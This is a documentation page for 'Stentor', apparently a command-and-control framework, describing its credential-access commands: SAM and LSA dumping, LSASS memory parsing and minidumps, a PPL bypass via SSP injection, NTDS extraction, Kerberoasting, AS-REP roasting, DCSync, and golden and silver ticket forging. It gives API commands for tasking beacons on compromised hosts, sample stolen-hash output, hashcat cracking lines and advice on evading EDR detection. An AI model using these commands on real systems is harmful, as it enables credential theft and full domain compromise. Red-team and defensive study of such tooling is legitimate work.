Skip to content

Credential Access

Credential harvesting capabilities for extracting authentication material from compromised hosts. Stentor implements a complete credential access toolkit covering local credential stores, LSASS memory parsing, Kerberos protocol attacks, domain replication, DPAPI-protected secrets, and browser credential extraction.

Credential Hierarchy

Credential harvesting follows a natural progression from local stores (lowest privilege requirement) through domain-level attacks (highest privilege requirement). Each layer unlocks new attack paths.

flowchart TD
    A[Local Credentials] --> B[LSASS Memory]
    A --> C[DPAPI Secrets]
    B --> D[Domain Credentials]
    D --> E[Kerberos Attacks]
    D --> F[Lateral Movement]

    A1[SAM Database<br/>hashdump / sam_dump] --> A
    A2[LSA Secrets<br/>lsa_secrets] --> A
    A3[Cached Creds<br/>cached_creds] --> A

    B1[logonpasswords<br/>NTLM + WDigest + Kerberos] --> B
    B2[lsass_memdump<br/>Minidump to disk] --> B

    C1[DPAPI Triage<br/>RDP / WiFi / Vault / Certs] --> C
    C2[chromedump<br/>Browser passwords] --> C

    D1[DCSync<br/>DRSUAPI replication] --> D
    D2[NTDS Dump<br/>AD database extraction] --> D

    E1[Kerberoast<br/>TGS ticket cracking] --> E
    E2[AS-REP Roast<br/>Pre-auth bypass] --> E
    E3[Golden / Silver Ticket<br/>Kerberos forgery] --> E

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff
    style F fill:#01579b,color:#fff

Privilege requirements:

Source Minimum Privilege Notes
SAM / LSA / Cached Local Admin (SYSTEM) Registry hive access requires SeBackupPrivilege
LSASS Local Admin + SeDebugPrivilege RunAsPPL blocks direct access
NTDS.dit Domain Admin Volume shadow copy on DC
DCSync Replicating Directory Changes DA/EA or delegated replication rights
Kerberoast Any domain user Only needs TGT for TGS requests
AS-REP Roast Network access to DC No authentication required
DPAPI Current user context User master key or domain backup key
Browser creds Current user context DPAPI-protected Local State key

Credential Commands Reference

Command Syntax Source Requires Output Format MITRE ATT&CK
hashdump hashdump SAM database Local Admin user:RID:LM:NT::: (hashcat 1000) T1003.002
sam_dump sam_dump SAM database Local Admin user:RID:LM:NT::: T1003.002
logonpasswords logonpasswords LSASS memory SeDebugPrivilege NTLM hashes, WDigest cleartext, Kerberos tickets T1003.001
lsass_memdump lsass_memdump LSASS memory SeDebugPrivilege .dmp file for offline analysis T1003.001
lsass_legacy lsass_legacy LSASS memory SeDebugPrivilege .dmp file (direct MiniDump) T1003.001
lsa_secrets lsa_secrets LSA secrets Local Admin Service passwords, DPAPI keys T1003.004
cached_creds cached_creds Domain cache Local Admin DCC2 hashes (hashcat 2100) T1003.005
ntds_dump ntds_dump NTDS.dit Domain Admin NTLM hashes for all domain accounts T1003.003
kerberoast kerberoast [/spn:...] [/user:...] [/domain:...] Kerberos TGS Any domain user $krb5tgs$ (hashcat 13100/19700) T1558.003
asrep_roast asrep_roast [/user:...] [/domain:...] Kerberos AS-REP Network access $krb5asrep$ (hashcat 18200) T1558.004
dcsync dcsync [/user:...] [/domain:...] [/all] DRSUAPI Replication rights NTLM + Kerberos keys T1003.006
golden_ticket golden_ticket <domain> <sid> <dc> <key> Forged TGT krbtgt hash .kirbi / .ccache ticket T1558.001
silver_ticket silver_ticket <domain> <sid> <dc> <service> <target> <hash> Forged TGS Service account hash .kirbi / .ccache ticket T1558.002
overpass overpass <domain> <dc> <user> <hash> Kerberos AS-REQ NTLM hash Valid TGT T1550.002
dpapi_masterkeys dpapi_masterkeys [--target SID] DPAPI Protect dir Current user Master key GUIDs T1555.004
dpapi_backupkey dpapi_backupkey <dc> [--domain ...] LSA RPC Domain Admin Domain backup key T1555.004
dpapi_rdp dpapi_rdp Credential Manager Current user + master key Cleartext RDP passwords T1555.004
dpapi_wifi dpapi_wifi WiFi profiles Local Admin Cleartext WiFi PSKs T1555.004
dpapi_vault dpapi_vault Credential Manager Current user + master key Vault entries T1555.004
dpapi_certkeys dpapi_certkeys [--target SID] Certificate store Current user + master key Certificate private keys T1555.004
dpapi_triage dpapi_triage [--domain ...] [--dc ...] All DPAPI sources Current user + master key Combined triage output T1555.004
chromedump chromedump Chrome/Edge Login Data Current user URLs, usernames, cleartext passwords T1555.003

Local Credential Dumping

Local credential stores contain authentication material cached on the local machine. These techniques access registry hives in-memory using the Windows registry API -- no child processes like reg.exe are spawned.

All local credential dump commands execute inside a fork-and-run sacrificial process for OPSEC isolation. Registry access artifacts point to the sacrificial PID, not the beacon process.

hashdump

Extract NTLM password hashes from the SAM (Security Account Manager) database via in-memory registry parsing.

How it works: Reads the SYSTEM and SAM registry hives in-memory using the Windows registry API, derives the boot key from HKLM\SYSTEM\CurrentControlSet\Control\Lsa class names, decrypts SAM entries using AES-128-CBC (Windows 10+) or DES/RC4 (legacy), and outputs hashes in secretsdump format.

Task type: creds (method: sam_dump)

Dedicated endpoint: POST /api/v1/c2/beacons/:id/hashdump

hashdump
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/hashdump" \
  -H "Authorization: Bearer $TOKEN"
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "hashdump"}'

Example output:

[Fork-and-Run] Sacrificial PID: 5184

Extracted 4 NTLM hashes from SAM database:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
labuser:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Format: username:RID:LM_HASH:NT_HASH:::

Cracking with hashcat

hashcat -m 1000 hashes.txt rockyou.txt

OPSEC

  • Executes in a fork-and-run sacrificial process (registry artifacts point to sacrificial PID)
  • Reads SAM and SYSTEM registry hives via RegOpenKeyEx / RegQueryValueEx
  • No reg.exe or reg save -- purely in-memory parsing (reg.exe fallback removed for OPSEC)
  • Requires SeBackupPrivilege or SYSTEM context
  • MITRE ATT&CK: T1003.002 (OS Credential Dumping: Security Account Manager)

sam_dump

Fork-and-run SAM dump variant. Identical technique to hashdump but explicitly uses fork-and-run isolation. The implant binary is re-executed with STENTOR_CRED_MODE=sam so that registry access artifacts originate from the sacrificial process.

Task type: creds (method: sam_dump)

sam_dump
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "sam_dump"}'

OPSEC

Same technique as hashdump. Both use in-memory registry parsing with fork-and-run isolation. The sam_dump command name is available for CNA script compatibility.

lsa_secrets

Extract LSA secrets from the SECURITY and SYSTEM registry hives. LSA secrets contain service account passwords, DPAPI machine master keys, cached auto-logon passwords (DefaultPassword), and other sensitive data stored by LsaStorePrivateData.

How it works: Reads HKLM\SECURITY and HKLM\SYSTEM hives via the registry API, derives the LSA encryption key, and decrypts all stored secrets. Executes in a fork-and-run sacrificial process.

Task type: creds (method: lsa_secrets)

lsa_secrets
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsa_secrets"}'

Example output:

[Fork-and-Run] Sacrificial PID: 4892

=== LSA Secrets ===

$MACHINE.ACC
  0000  A3 4F 2C 7B 8E ... (machine account password hash)

DPAPI_SYSTEM
  User:    0x01000000b1c347...
  Machine: 0x01000000f24a58...

DefaultPassword
  labuser / P@ssw0rd123

_SC_SQLService
  CORP\svc_sql / SqlServiceP@ss!

OPSEC

  • Reads SECURITY and SYSTEM registry hives in-memory (no reg.exe)
  • Fork-and-run sacrificial process for artifact isolation
  • Requires SYSTEM or SeBackupPrivilege for SECURITY hive access
  • MITRE ATT&CK: T1003.004 (OS Credential Dumping: LSA Secrets)

cached_creds

Extract Domain Cached Credentials (DCC2) from the SECURITY registry hive. Windows caches the last 10 (by default) domain logon credentials in the NL$ cache entries. These are MS-CacheDCv2 (DCC2) hashes that can be cracked offline.

How it works: Reads NL$ cache entries from HKLM\SECURITY\Cache via the registry API, derives the NL$KM key, and outputs DCC2 hashes in hashcat format. Executes in a fork-and-run sacrificial process.

Task type: creds (method: cached_creds)

cached_creds
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "cached_creds"}'

Example output:

[Fork-and-Run] Sacrificial PID: 3716

Cached Domain Credentials (DCC2):

$DCC2$10240#jsmith#a4f49c406510bdcab6824ee7c30fd852
$DCC2$10240#admin#b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5

Format: $DCC2$iterations#username#hash (hashcat mode 2100)

Cracking DCC2 hashes

DCC2 hashes are computationally expensive to crack (10240 PBKDF2 iterations by default).

hashcat -m 2100 cached.txt rockyou.txt

OPSEC

  • Reads SECURITY hive Cache values via registry API (no reg.exe)
  • Fork-and-run sacrificial process for artifact isolation
  • Requires SYSTEM or SeBackupPrivilege
  • MITRE ATT&CK: T1003.005 (OS Credential Dumping: Cached Domain Credentials)

LSASS Memory Access

LSASS (Local Security Authority Subsystem Service) holds authentication material for all logged-on users in memory. This includes NTLM hashes, WDigest cleartext passwords (if enabled), Kerberos tickets, and TSPKG credentials.

logonpasswords

Parse LSASS process memory in-place to extract credentials from SSP (Security Support Provider) structures. This is Stentor's equivalent of mimikatz sekurlsa::logonpasswords.

How it works: Opens a handle to the LSASS process using NtOpenProcess, reads memory regions using NtReadVirtualMemory, and parses SSP structures:

  • MSV1_0 -- NTLM hashes (NT and LM)
  • WDigest -- Cleartext passwords (if UseLogonCredential registry value is set)
  • Kerberos -- Kerberos tickets and session keys
  • TSPKG -- Terminal Services credentials

Executes inside a fork-and-run sacrificial process. The NtOpenProcess and NtReadVirtualMemory calls originate from the sacrificial PID.

Task type: creds (method: logonpasswords)

Dedicated endpoint: POST /api/v1/c2/beacons/:id/logonpasswords

logonpasswords
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/logonpasswords" \
  -H "Authorization: Bearer $TOKEN"
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "logonpasswords"}'

Example output:

[Fork-and-Run] Sacrificial PID: 6248

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CORP\jsmith
Domain            : CORP
Logon Server      : DC01
Logon Time        : 2/19/2026 8:30:15 AM

    msv :
     [00000003] Primary
     * Username : jsmith
     * Domain   : CORP
     * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
     * SHA1     : a]9040f9c13d508...

    wdigest :
     * Username : jsmith
     * Domain   : CORP
     * Password : P@ssw0rd123

    kerberos :
     * Username : jsmith
     * Domain   : CORP.LOCAL
     * Password : (null)

OPSEC -- High Detection Risk

  • Opens a handle to LSASS (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) -- triggers Sysmon Event ID 10
  • NtReadVirtualMemory calls on LSASS address space
  • Fork-and-run isolation means the sacrificial PID is the one accessing LSASS, not the beacon
  • RunAsPPL (Credential Guard): If RunAsPPL=1, LSASS is a Protected Process Light and direct memory access fails with STATUS_ACCESS_DENIED. Options: disable RunAsPPL via registry + reboot, use a PPL bypass driver, or use dcsync instead
  • MITRE ATT&CK: T1003.001 (OS Credential Dumping: LSASS Memory)

lsass_memdump

Create a minidump of the LSASS process for offline credential extraction. Produces a .dmp file that can be analyzed with pypykatz, mimikatz, or other offline tools.

How it works: Opens a handle to LSASS, creates a minidump using a memory-backed approach via MiniDumpWriteDump, and writes the dump file to disk. Executes inside a fork-and-run sacrificial process.

Task type: creds (method: lsass_memdump or lsass_minidump)

lsass_memdump
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsass_memdump"}'

Example output:

[Fork-and-Run] Sacrificial PID: 7412

LSASS minidump created: C:\Users\Public\lsass_20260219_083015.dmp (48.2 MB)

Offline analysis

# pypykatz (Python)
pypykatz lsa minidump lsass_20260219_083015.dmp

# mimikatz (Windows)
mimikatz# sekurlsa::minidump lsass_20260219_083015.dmp
mimikatz# sekurlsa::logonpasswords

OPSEC

  • Creates a file on disk (the .dmp file) -- high forensic footprint
  • LSASS process handle access triggers Sysmon Event ID 10
  • MiniDumpWriteDump API call is monitored by EDR
  • Prefer logonpasswords (in-memory parsing, no disk write) when possible
  • MITRE ATT&CK: T1003.001 (OS Credential Dumping: LSASS Memory)

lsass_legacy

Direct MiniDumpWriteDump to disk without the memory-backed approach. This is a fallback method for environments where the primary memory dump technique fails.

Task type: creds (method: lsass_legacy)

lsass_legacy
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsass_legacy"}'

When to use

Use lsass_legacy only when logonpasswords and lsass_memdump both fail. This method calls MiniDumpWriteDump directly without the memory-backed approach, which is more likely to be detected but may work in edge cases.

LSASS Method Comparison

Method Process Access Disk Write Parsing Detection Risk
logonpasswords NtReadVirtualMemory None In-memory (SSP structures) Medium
lsass_memdump MiniDumpWriteDump (memory-backed) .dmp file Offline (pypykatz/mimikatz) High
lsass_legacy MiniDumpWriteDump (direct) .dmp file Offline (pypykatz/mimikatz) Highest
ppl_bypass AddSecurityPackageW (SSP injection) Temp SSP DLL SSP callback capture High

Removed method

The lsass_comsvcs method (rundll32.exe comsvcs.dll MiniDump) has been removed for OPSEC. The rundll32.exe comsvcs.dll command line is trivially detected by all modern EDR products. Use logonpasswords or lsass_memdump instead.

PPL Bypass (RunAsPPL)

When LSASS is running as a Protected Process Light (PPL), standard credential dumping techniques fail because OpenProcess is denied even with SeDebugPrivilege. The ppl_bypass command circumvents this protection using SSP injection.

How it works:

  1. Writes a custom Security Support Provider (SSP) DLL to a temporary location
  2. Calls AddSecurityPackageW to load the SSP into lsass.exe (the OS loads the DLL into the protected process)
  3. The SSP's SpLsaModeInitialize callback executes inside LSASS and captures credential material
  4. Results are written to a shared memory section or temp file and read by the beacon
  5. The temporary SSP DLL is cleaned up

Shell syntax:

ppl_bypass

API example:

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"ppl_bypass","data":{}}'

OPSEC

  • AddSecurityPackageW triggers Event ID 4614 (Notification Package loaded) in the Security event log
  • The temporary SSP DLL written to disk is briefly visible to filesystem monitoring
  • Requires SeDebugPrivilege or SYSTEM context
  • High risk -- SSP loading is a well-known technique monitored by advanced EDR products
  • Clean up is automatic but the Event 4614 entry persists
  • MITRE ATT&CK: T1547.005 (Security Support Provider), T1003.001 (LSASS Memory)

When to use ppl_bypass

Use ppl_bypass when logonpasswords fails with "access denied" errors and you've confirmed LSASS is running as PPL (Get-Process lsass | Select-Object -ExpandProperty Path shows MsMpEng or ProtectionLevel is set). If LSASS is not PPL-protected, prefer logonpasswords (lower detection risk).


NTDS.dit Dump

ntds_dump

Extract NTLM hashes for all domain user accounts from the Active Directory database (NTDS.dit). This technique creates a volume shadow copy of the Domain Controller's system drive, then extracts the NTDS.dit file and SYSTEM hive for offline parsing.

How it works: Executes vssadmin create shadow /for=C: to create a volume shadow copy, then copies NTDS.dit and the SYSTEM hive from the shadow copy. If vssadmin fails, falls back to ntdsutil IFM (Install From Media) mode. Requires Domain Admin privileges on the Domain Controller.

Task type: creds (method: ntds_dump)

ntds_dump
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "ntds_dump"}'

Example output:

[*] Creating volume shadow copy...
[+] Shadow copy created: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
[*] Extracting NTDS.dit from shadow copy...
[+] NTDS.dit extracted: C:\Windows\Temp\ntds.dit (256 MB)
[+] SYSTEM hive extracted: C:\Windows\Temp\SYSTEM (12 MB)

Extracted 1,247 NTLM hashes from NTDS.dit

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5:::
jsmith:1103:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
...

OPSEC -- Very High Detection Risk

  • Creates a volume shadow copy (Event ID 8222 from VSS, Event ID 7036 from SCM for vss service start)
  • vssadmin.exe or ntdsutil.exe execution is heavily monitored
  • Large file copy from shadow copy (NTDS.dit can be hundreds of MB)
  • Disk artifacts: extracted files remain on the DC until cleaned up
  • Prefer dcsync for targeted hash extraction -- it is stealthier and does not require DC filesystem access
  • MITRE ATT&CK: T1003.003 (OS Credential Dumping: NTDS)

Kerberos Attacks

Kerberos-based credential access techniques exploit the Kerberos authentication protocol to extract crackable hashes or forge authentication tickets.

kerberoast

Request TGS (Ticket Granting Service) tickets for service accounts with SPNs (Service Principal Names) and extract the encrypted ticket data for offline cracking. The encrypted portion of the TGS ticket is encrypted with the service account's password hash, making it crackable.

How it works: Enumerates service accounts with SPNs via LDAP (using wldap32.dll with SSPI NEGOTIATE bind or explicit credentials via gokrb5), then requests TGS tickets for each SPN. The encrypted ticket data is extracted and formatted for hashcat or John the Ripper. Supports configurable inter-request jitter to avoid burst detection.

Two credential modes:

  • SSPI mode (default, no credentials specified): Uses the current Windows session token via SSPI InitializeSecurityContext for both LDAP enumeration and TGS requests. No explicit credentials needed.
  • Explicit mode (username + password specified): Uses gokrb5 library for Kerberos authentication and TGS ticket requests.

Task type: creds (method: kerberoast)

Parameter Type Required Default Description
domain string Auto-detected %USERDNSDOMAIN% AD domain (e.g., CORP.LOCAL)
dc string Auto-detected DNS SRV lookup Domain Controller IP/hostname
spns string[] No LDAP enumeration Specific SPNs to target
username string No Current token (SSPI) Explicit credentials for gokrb5 mode
password string No Current token (SSPI) Explicit credentials for gokrb5 mode
output_fmt string No hashcat Output format: hashcat or john
jitter_ms int No 1000 Inter-request jitter in ms (-1 = disabled)
kerberoast
kerberoast /domain:CORP.LOCAL /dc:dc01.corp.local
kerberoast /spn:MSSQLSvc/sql01.corp.local:1433
kerberoast /user:svc_sql /domain:CORP.LOCAL
# SSPI mode (uses current token)
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberoast"}'

# Explicit credentials
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberoast /domain:CORP.LOCAL /dc:dc01.corp.local /user:jsmith /password:P@ssw0rd"}'

Example output:

[*] Jitter: 1000ms (range 500-1500ms) between TGS requests

{
  "hashes": [
    {
      "spn": "MSSQLSvc/sql01.corp.local:1433",
      "username": "svc_sql",
      "domain": "CORP.LOCAL",
      "hash": "$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a3b4c5...$d6e7f8...",
      "enc_type": 23,
      "enc_type_name": "RC4-HMAC"
    }
  ],
  "count": 1,
  "format": "hashcat"
}

Cracking Kerberoast hashes

# RC4 (etype 23) -- hashcat mode 13100
hashcat -m 13100 kerberoast.txt rockyou.txt

# AES256 (etype 18) -- hashcat mode 19700
hashcat -m 19700 kerberoast.txt rockyou.txt

OPSEC

  • Each TGS request generates Event ID 4769 (Kerberos Service Ticket Operation) on the DC
  • Multiple TGS requests in quick succession from a single account is a known Kerberoast indicator
  • Use jitter (jitter_ms parameter) to space out requests -- default 1000ms with ± 50% randomization
  • RC4 (etype 23) ticket requests from accounts that normally use AES may trigger alerts
  • LDAP enumeration for SPNs generates Event ID 1644 if LDAP query auditing is enabled
  • MITRE ATT&CK: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)

asrep_roast

Send AS-REQ (Authentication Service Request) messages without pre-authentication data to the KDC for accounts that have "Do not require Kerberos preauthentication" enabled. The KDC responds with an AS-REP containing encrypted data that can be cracked offline.

How it works: Constructs raw AS-REQ messages (RFC 4120) without the PA-ENC-TIMESTAMP pre-authentication data, sends them to the KDC on port 88 via raw TCP, and parses the AS-REP response to extract the encrypted portion. Accounts without the pre-auth requirement return a valid AS-REP; accounts with pre-auth required return a KDC_ERR_PREAUTH_REQUIRED error.

Task type: creds (method: asrep_roast)

Parameter Type Required Default Description
domain string Yes -- AD domain (e.g., CORP.LOCAL)
dc string Yes -- Domain Controller IP/hostname
usernames string[] Yes -- Target usernames to test
output_fmt string No hashcat Output format: hashcat or john
asrep_roast /domain:CORP.LOCAL /dc:dc01.corp.local /user:svc_backup,svc_scan
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "asrep_roast /domain:CORP.LOCAL /dc:dc01.corp.local /user:svc_backup"}'

Example output:

{
  "hashes": [
    {
      "username": "svc_backup",
      "domain": "CORP.LOCAL",
      "hash": "[email protected]:a1b2c3...$d4e5f6...",
      "enc_type": 23,
      "enc_type_name": "RC4-HMAC",
      "vulnerable": true
    }
  ],
  "vulnerable_count": 1,
  "tested_count": 2,
  "format": "hashcat"
}

Cracking AS-REP hashes

hashcat -m 18200 asrep.txt rockyou.txt

OPSEC

  • AS-REQ without pre-authentication is legitimate protocol behavior -- difficult to distinguish from normal Kerberos traffic
  • Each AS-REQ generates Event ID 4768 (Kerberos Authentication Ticket Request)
  • Failed requests (pre-auth required) generate Event ID 4771 (Kerberos Pre-authentication Failed)
  • No authentication required -- only network access to the DC on port 88
  • MITRE ATT&CK: T1558.004 (Steal or Forge Kerberos Tickets: AS-REP Roasting)

DCSync

dcsync

Replicate domain credential data from a Domain Controller using the MS-DRSR (Directory Replication Service Remote) protocol. DCSync simulates a Domain Controller requesting replication, causing the target DC to send password data for specified accounts.

How it works: Connects to the DC via RPC endpoint mapper (port 135), binds to the DRSUAPI interface using DsBind / DsBindWithCred, resolves target user DNs with DsCrackNames, then calls IDL_DRSGetNCChanges to replicate the password attributes (unicodePwd, supplementalCredentials, ntPwdHistory). Output includes NTLM hash, Kerberos keys (AES256, AES128, DES), and supplemental credentials.

Task type: creds (method: dcsync)

Dedicated endpoint: POST /api/v1/c2/beacons/:id/dcsync

Parameter Type Required Default Description
domain string Yes -- AD domain (e.g., CORP.LOCAL)
dc string Yes -- Domain Controller IP/hostname
username string Yes -- User with replication rights
password string Yes -- Password for authentication
target_users string[] No ["Administrator", "krbtgt"] Specific users to replicate
all bool No false Dump all domain user accounts
dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:Administrator
dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /all
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/dcsync" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "domain": "CORP.LOCAL",
    "dc": "dc01.corp.local",
    "username": "CORP\\admin",
    "password": "AdminP@ss",
    "target_users": ["krbtgt", "Administrator"]
  }'
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:krbtgt"}'

Example output:

[DC] 'CORP.LOCAL' will be the domain
[DC] 'dc01.corp.local' will be the DC server

Object RDN           : CN=krbtgt
** SAM ACCOUNT NAME : krbtgt

Credentials:
  Hash NTLM: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5
    lm  - 0: aad3b435b51404eeaad3b435b51404ee
    ntlm- 0: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5

Object RDN           : CN=Administrator
** SAM ACCOUNT NAME : Administrator

Credentials:
  Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
    lm  - 0: aad3b435b51404eeaad3b435b51404ee
    ntlm- 0: a4f49c406510bdcab6824ee7c30fd852

OPSEC -- High Visibility

  • Generates DRS replication traffic to the DC on the DRSUAPI RPC interface
  • Event ID 4662 with GUID {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes) and {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes-All)
  • Microsoft Defender for Identity (MDI) specifically detects DCSync as a "Suspected DCSync attack" alert
  • RPC endpoint mapper query (port 135) + DRSUAPI bind are visible in network traffic
  • Requires DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights -- typically Domain Admin, Enterprise Admin, or DC computer account
  • MITRE ATT&CK: T1003.006 (OS Credential Dumping: DCSync)

DCSync vs NTDS Dump

Prefer DCSync over NTDS dump when possible. DCSync operates over the network without touching the DC filesystem, avoids volume shadow copy artifacts, and can target specific accounts. NTDS dump requires Domain Admin access to the DC's filesystem and generates significant disk/event log artifacts.


Kerberos Ticket Forging

Forge Kerberos tickets using compromised key material to gain persistent or targeted access without needing the original plaintext password.

golden_ticket

Forge a Ticket Granting Ticket (TGT) using the krbtgt account's AES256 key. A golden ticket grants the holder Domain Admin-equivalent access to any service in the domain, with a custom lifetime (default 10 years).

How it works: Constructs a TGT (AS-REP) with an arbitrary PAC (Privilege Attribute Certificate) containing admin group memberships (Domain Admins 512, Schema Admins 518, Enterprise Admins 519, Group Policy Creator Owners 520). The ticket is encrypted using the krbtgt AES256 key and exported in .kirbi (Mimikatz/Rubeus) or .ccache (Linux) format.

Task type: creds (method: golden_ticket)

Parameter Type Required Default Description
domain string Yes -- AD domain (e.g., CORP.LOCAL)
domain_sid string Yes -- Domain SID (e.g., S-1-5-21-...)
dc string Yes -- Domain Controller hostname
krbtgt_key string Yes -- krbtgt AES256 key (hex)
username string No Administrator User to impersonate
user_rid int No 500 User RID
lifetime_days int No 3650 Ticket lifetime in days
output_path string No Auto-generated Output file path
output_fmt string No ccache Format: ccache or kirbi
extra_sids string[] No -- Extra SIDs for cross-forest (SID History)
golden_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 dc01.corp.local aabbccdd...
golden_ticket CORP.LOCAL S-1-5-21-... dc01 aabb... --user Administrator --format kirbi
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "golden_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 dc01.corp.local aabbccddeeff..."}'

OPSEC

  • Golden tickets survive password changes for all accounts except krbtgt
  • Detection: TGT with unusual lifetime, PAC validation failures, encryption type mismatches
  • Microsoft MDI detects golden tickets via PAC validation and ticket anomalies
  • Rotate the krbtgt password twice to invalidate all golden tickets
  • MITRE ATT&CK: T1558.001 (Steal or Forge Kerberos Tickets: Golden Ticket)

silver_ticket

Forge a Ticket Granting Service (TGS) ticket for a specific service using the service account's password hash. Silver tickets provide access to a single service without contacting the KDC.

How it works: Constructs a TGS with a PAC for the specified service, encrypted with the service account's AES256 or NTLM key. Since TGS tickets are validated by the service itself (not the KDC), the forged ticket is accepted without any DC interaction.

Task type: creds (method: silver_ticket)

Parameter Type Required Default Description
domain string Yes -- AD domain
domain_sid string Yes -- Domain SID
dc string Yes -- DC hostname
service string Yes -- Service type (e.g., cifs, http, mssql)
target string Yes -- Target hostname (e.g., sql01.corp.local)
hash string Yes -- Service account NTLM or AES256 hash
silver_ticket CORP.LOCAL S-1-5-21-... dc01 cifs sql01.corp.local aabbccdd...
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "silver_ticket CORP.LOCAL S-1-5-21-... dc01 cifs sql01.corp.local aabbccdd..."}'

OPSEC

  • No KDC interaction required -- harder to detect via network monitoring
  • Service-side PAC validation may detect anomalies if enabled
  • Limited scope: only the targeted service is accessible
  • MITRE ATT&CK: T1558.002 (Steal or Forge Kerberos Tickets: Silver Ticket)

overpass (Overpass-the-Hash)

Obtain a legitimate Kerberos TGT by sending an AS-REQ with a hash-based PA-ENC-TIMESTAMP pre-authentication value. This converts an NTLM hash into a valid Kerberos ticket, enabling Kerberos-authenticated access without knowing the plaintext password.

How it works: Constructs an AS-REQ with PA-ENC-TIMESTAMP encrypted using the provided NTLM hash (via RC4-HMAC etype 23) or AES key, sends it to the KDC, and receives a valid TGT in the AS-REP.

Task type: creds (method: overpass)

Parameter Type Required Default Description
domain string Yes -- AD domain
dc string Yes -- Domain Controller
username string Yes -- Target username
hash string Yes -- NTLM hash or AES key
overpass CORP.LOCAL dc01.corp.local jsmith aabbccddeeff00112233445566778899
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "overpass CORP.LOCAL dc01.corp.local jsmith aabbccddeeff00112233445566778899"}'

OPSEC

  • Generates a legitimate AS-REQ/AS-REP exchange on the DC (Event ID 4768)
